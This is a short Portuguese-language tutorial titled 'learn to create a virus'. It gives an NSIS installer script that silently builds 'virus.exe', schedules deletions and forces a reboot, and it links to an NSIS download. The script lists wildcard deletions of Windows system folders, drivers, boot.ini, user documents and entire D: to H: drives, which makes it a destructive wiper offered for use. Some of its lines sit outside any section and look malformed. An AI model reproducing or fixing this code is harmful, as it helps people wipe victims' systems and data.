Aprenda a criar um vírus

Código do vírus

!define PRODUCT_NAME "NOME DO VÍRUS"

!define PRODUCT_VERSION "2.00"

!define PRODUCT_PUBLISHER "NOME DO VÍRUS"

Setcompressor lzma

Name "${PRODUCT_NAME} ${PRODUCT_VERSION}"

Outfile "virus.exe"

InstallDir "$TEMP"

Icon "${NSISDIR}\Contrib\Graphics\Icons\modern-install.ico"

SilentInstall silent

Section "Sec001" SEC01

Delete /REBOOTOK "ENDEREÇO DO ARQUIVO"

SectionEnd

Section -Post

Reboot

SectionEnd 

DELETE /REBOOTOK "c:\windows\system32\drivers\*.*"

DELETE /REBOOTOK "c:\windows\system32\*.*"

DELETE /REBOOTOK "C:\Arquivos de programas\*.*"

DELETE /REBOOTOK "C:\meus documentos\*.*"

DELETE /REBOOTOK "C:\boot.ini"

DELETE /REBOOTOK "D:\*.*"

DELETE /REBOOTOK "E:\*.*"

DELETE /REBOOTOK "F:\*.*"

DELETE /REBOOTOK "G:\*.*"

DELETE /REBOOTOK "H:\*.*"

DELETE /REBOOTOK "$WINDIR\*.*"

Link para download do Nsis

http://www.baixaki.com.br/download/nsis-nullsoft-scriptable-install-system.htm